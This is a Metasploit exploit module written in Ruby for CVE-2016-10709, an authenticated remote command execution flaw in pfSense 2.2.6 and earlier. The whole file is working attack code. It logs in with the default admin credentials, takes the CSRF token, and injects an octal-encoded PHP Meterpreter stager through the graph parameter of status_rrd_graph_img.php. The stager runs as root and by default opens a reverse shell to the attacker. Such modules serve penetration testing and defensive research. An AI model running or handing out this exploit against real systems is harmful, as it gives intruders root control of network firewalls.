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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::FileDropper
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name'        => 'pfSense authenticated graph status RCE',
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        'Description' => %q(
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          pfSense, a free BSD based open source firewall distribution,
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          version <= 2.2.6 contains a remote command execution
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          vulnerability post authentication in the _rrd_graph_img.php page.
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          The vulnerability occurs via the graph GET parameter. A non-administrative
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          authenticated attacker can inject arbitrary operating system commands
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          and execute them as the root user. Verified against 2.2.6, 2.2.5, and 2.1.3.
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        ),
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        'Author'      =>
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          [
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            'Security-Assessment.com', # discovery
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            'Milton Valencia',         # metasploit module <wetw0rk>
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            'Jared Stephens',          # python script     <mvrk>
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          ],
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        'References'  =>
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          [
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            [ 'CVE', '2016-10709' ],
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            [ 'EDB', '39709' ],
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            [ 'URL', 'http://www.security-assessment.com/files/documents/advisory/pfsenseAdvisory.pdf']
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          ],
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        'License'        => MSF_LICENSE,
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        'Platform'       => 'php',
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        'Privileged'     => 'true',
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        'DefaultOptions' =>
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          {
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            'SSL'     => true,
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            'PAYLOAD' => 'php/meterpreter/reverse_tcp',
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            'Encoder' => 'php/base64'
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          },
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        'Arch'           => [ ARCH_PHP ],
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        'Payload'        =>
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          {
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            'Space'  => 6000,
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            'Compat' =>
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              {
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                'ConnectionType' => '-bind',
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              }
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          },
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        'Targets'        => [[ 'Automatic Target', {} ]],
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        'DefaultTarget'  => 0,
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        'DisclosureDate' => '2016-04-18',
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      )
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    )
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    register_options(
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      [
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        OptString.new('USERNAME',  [ true, 'User to login with', 'admin']),
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        OptString.new('PASSWORD',  [ true, 'Password to login with', 'pfsense']),
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        Opt::RPORT(443)
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      ], self.class
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    )
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  end
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  def login
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    res = send_request_cgi(
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      'uri' => '/index.php',
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      'method' => 'GET'
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    )
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    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
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    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
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    /var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
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    fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
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    vprint_status("CSRF Token for login: #{csrf}")
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    res = send_request_cgi(
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      'uri' => '/index.php',
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      'method' => 'POST',
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      'vars_post' => {
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        '__csrf_magic' => csrf,
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        'usernamefld'  => datastore['USERNAME'],
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        'passwordfld'  => datastore['PASSWORD'],
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        'login'        => ''
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      }
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    )
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    unless res
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      fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
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    end
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    if res.code == 302
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      vprint_status("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
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      return res.get_cookies
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    else
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      fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
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      return nil
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    end
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  end
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  def detect_version(cookie)
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    res = send_request_cgi(
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      'uri' => '/index.php',
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      'method' => 'GET',
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      'cookie' => cookie
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    )
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    unless res
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      fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
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    end
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    /Version.+<strong>(?<version>[0-9\.\-RELEASE]+)[\n]?<\/strong>/m =~ res.body
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    if version
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      print_status("Detected pfSense #{version}, uploading intial payload")
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      return Rex::Version.new(version)
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    end
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    # If the device isn't fully setup, you get stuck at redirects to wizard.php
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    # however, this does NOT stop exploitation strangely
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    print_error('pfSense version not detected or wizard still enabled.')
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    Rex::Version.new('0.0')
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  end
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  def exploit
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    begin
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      cookie   = login
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      version  = detect_version(cookie)
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      filename = rand_text_alpha(rand(1..10))
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      # generate the PHP meterpreter payload
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      stager = 'echo \'<?php '
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      stager << payload.encode
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      stager << "?>\' > #{filename}"
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      # here we begin the encoding process to
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      # convert the payload to octal! Ugly code
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      # don't look
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      complete_stage = ""
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      for i in 0..(stager.length()-1)
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        if version.to_s =~ /2.2/
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          complete_stage << '\\'
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        end
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        complete_stage << "\\#{stager[i].ord.to_s(8)}"
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      end
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      res = send_request_cgi(
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        'uri'      => '/status_rrd_graph_img.php',
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        'method'   => 'GET',
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        'cookie'   => cookie,
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        'vars_get' => {
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          'database' => '-throughput.rrd',
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          'graph'    => "file|printf '#{complete_stage}'|sh|echo",
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        }
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      )
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      if res && res.code == 200
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        print_status('Payload uploaded successfully, executing')
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        register_file_for_cleanup(filename)
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      else
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        print_error('Failed to upload payload...')
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      end
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      res = send_request_cgi({
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        'uri'     => '/status_rrd_graph_img.php',
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        'method'  => 'GET',
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        'cookie'  => cookie,
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        'vars_get' => {
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          'database' => '-throughput.rrd',
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          'graph'    => "file|php #{filename}|echo "
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        }
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      })
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      disconnect
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    end
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  end
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end
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